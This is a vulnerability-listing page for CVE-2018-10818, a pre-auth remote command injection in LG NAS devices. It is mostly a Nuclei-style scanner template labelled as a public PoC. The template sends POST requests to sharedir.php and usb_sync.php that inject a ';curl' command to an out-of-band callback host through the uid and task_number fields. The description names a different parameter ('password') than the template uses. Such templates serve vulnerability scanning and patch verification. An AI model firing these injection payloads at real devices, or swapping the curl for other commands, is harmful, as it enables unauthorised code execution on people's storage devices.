CVE-2018-10818: LG NAS Devices - Remote Code Execution

日期: 2025-08-01 | 影响软件: LG NAS Devices | POC: 已公开

漏洞描述

LG NAS devices contain a pre-auth remote command injection via the "password" parameter.

PoC代码[已公开]

id: CVE-2018-10818

info:
  name: LG NAS Devices - Remote Code Execution
  author: gy741
  severity: critical
  description: LG NAS devices contain a pre-auth remote command injection via the "password" parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected device.
  remediation: |
    Apply the latest firmware update provided by LG to mitigate this vulnerability.
  reference:
    - https://www.vpnmentor.com/blog/critical-vulnerability-found-majority-lg-nas-devices/
    - https://medium.com/@0x616163/lg-n1a1-unauthenticated-remote-command-injection-cve-2018-14839-9d2cf760e247
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-10818
  classification:
    cve-id: CVE-2018-10818
  metadata:
    max-request: 2
  tags: cve,cve2018,lg-nas,rce,oast,injection
variables:
  useragent: '{{rand_base(6)}}'

http:
  - raw:
      - |
        POST /system/sharedir.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        &uid=10; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'
      - |
        POST /en/php/usb_sync.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        &act=sync&task_number=1;curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: {{useragent}}"
# digest: 4b0a00483046022100af8984e028bf95059a4fb8c6bb0dd0ef3a2168308d5e4955c34e23f24d5afc11022100a670e27195eb22bb4add30473a92fcac6f2b8dbd17fa92af5626fb2f5413b87c:922c64590222798bb761d5b6d8e72950